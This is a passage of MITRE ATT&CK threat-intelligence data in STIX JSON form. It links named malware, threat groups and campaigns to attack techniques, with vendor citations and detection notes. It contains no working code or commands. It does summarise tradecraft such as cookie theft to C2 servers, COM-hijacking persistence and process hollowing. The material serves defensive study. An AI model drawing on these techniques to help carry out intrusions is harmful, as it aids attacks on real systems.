2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","source_name":"Microsoft NEODYMIUM Dec 2016"},{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2019-03-25T14:31:40.994Z","description":"(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653","target_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87834403-41ab-45ab-b755-d779402ac9e5","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8785b9f9-52dd-4bf5-8e88-b80c4c28dc7f","type":"relationship","created":"2021-02-03T19:05:17.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.021Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can harvest cookies and upload them to the C2 server.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8787d75b-9c28-437d-b6b5-93d2d7e8462e","type":"relationship","created":"2020-02-11T18:23:26.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:23:26.146Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--878a1144-2523-47fb-b1c9-ce082f7bc03e","type":"relationship","created":"2021-03-23T20:49:40.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.210Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has collected the domain name of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--878ff6f7-d372-4559-a114-8858eb2682d4","type":"relationship","created":"2021-11-24T20:17:35.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.754Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8790dab9-2fc9-45cf-b46c-bbe2b1f2c20e","created":"2024-04-10T20:21:21.755Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:21:21.756Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) can enter a loop to read `/proc/` entries every 2 seconds in order to read a target application's memory.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--87911fd7-8058-4d6f-99d0-68021a94357e","created":"2022-03-07T19:33:01.779Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use PowerShell commands to disable the network adapters on a victim machines.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T14:52:21.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8793b289-4b74-4119-8561-a9ad27dacdff","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2020-03-20T16:38:16.421Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8797579b-e3be-4209-a71b-255a4d08243d","type":"relationship","created":"2017-05-31T21:33:27.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf","description":"Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.","source_name":"Operation Quantum Entanglement"}],"modified":"2019-03-22T20:10:33.034Z","description":"(Citation: Operation Quantum Entanglement)","relationship_type":"uses","source_ref":"intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87999cb2-7565-465a-ad10-b585be2e3e3f","type":"relationship","created":"2019-07-02T19:03:30.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-17T00:15:43.055Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) can store email data in files and directories specified in its configuration, such as C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--879ee01b-0517-42bd-8ac8-3857e63e40c4","type":"relationship","created":"2021-03-24T20:25:01.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.291Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has PE data embedded within JPEG files contained within Word documents.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--87a01c6d-b7a3-481f-82a9-5dee8c6f91db","created":"2022-03-25T18:33:51.705Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."},{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can determine the OS version, bitness, and enumerate physical drives on a targeted host.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)","modified":"2022-04-15T01:45:41.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87a90347-6f15-461c-a44c-9acf503a606b","type":"relationship","created":"2019-04-17T13:46:38.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","source_name":"Cybereason Astaroth Feb 2019"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-08T21:14:50.033Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--87aaf244-2ecb-453e-87c0-836f9a26cc59","created":"2022-06-02T13:37:01.011Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) can stage stolen browser data in `C:\\\\Windows\\\\Temp\\\\cup.tmp` and keylogger data in `C:\\\\Windows\\\\Temp\\\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`.(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-02T20:00:20.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87b3ebab-fb4d-44c2-b8ad-9fffbac277f3","type":"relationship","created":"2020-03-30T02:36:45.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2020-03-30T02:36:45.080Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with a simple character replacement scheme before sending them to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87b4eb41-5272-4aa5-ae2f-3541a754d011","type":"relationship","created":"2020-03-17T01:45:59.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.558Z","description":"[Machete](https://attack.mitre.org/software/S0409) uses HTTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87b69ac6-d50d-4bbf-ac8b-7ad81b4e9ee8","type":"relationship","created":"2022-02-18T16:24:44.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:24:44.184Z","description":"[PowerPunch](https://attack.mitre.org/software/S0685) can download payloads from adversary infrastructure.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:44.956Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover the system time by using the net time command.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87b8b451-bf9b-4e93-b591-05ef502970f5","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2019-09-09T19:21:42.185Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87bcab2c-d776-432e-b553-e482cadf4369","created":"2022-09-26T21:45:24.707Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:45:24.707Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the first stage downloader resolved various Windows libraries and APIs, including `LoadLibraryA()`, `GetProcAddress()`, and `CreateProcessA()`.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87c11236-9f13-4179-aa6f-7b0fe9124a13","type":"relationship","created":"2019-04-17T15:08:45.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-03-18T00:06:41.717Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows service.(Citation: FireEye FIN6 Apr 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87c25621-eef0-49ae-b4ef-9eac3b7ef841","type":"relationship","created":"2020-03-17T18:47:41.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T18:47:41.084Z","description":"[Comnie](https://attack.mitre.org/software/S0244) executes VBS scripts.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87c33110-cbd9-4925-bf95-4570729ee935","created":"2023-09-27T14:46:51.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ukraine15 - EISAC - 201603","description":"Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.","url":"https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:03:24.263Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network. (Citation: Ukraine15 - EISAC - 201603)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87c7f912-4093-44f2-9f18-e97e649dd52e","type":"relationship","created":"2020-05-06T21:01:23.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.486Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence by registering a new service.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--87cbd402-f941-46ce-9d56-22f4881c16eb","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed services/daemons that may carry out malicious operations using a virtual instance to avoid detection. Consider 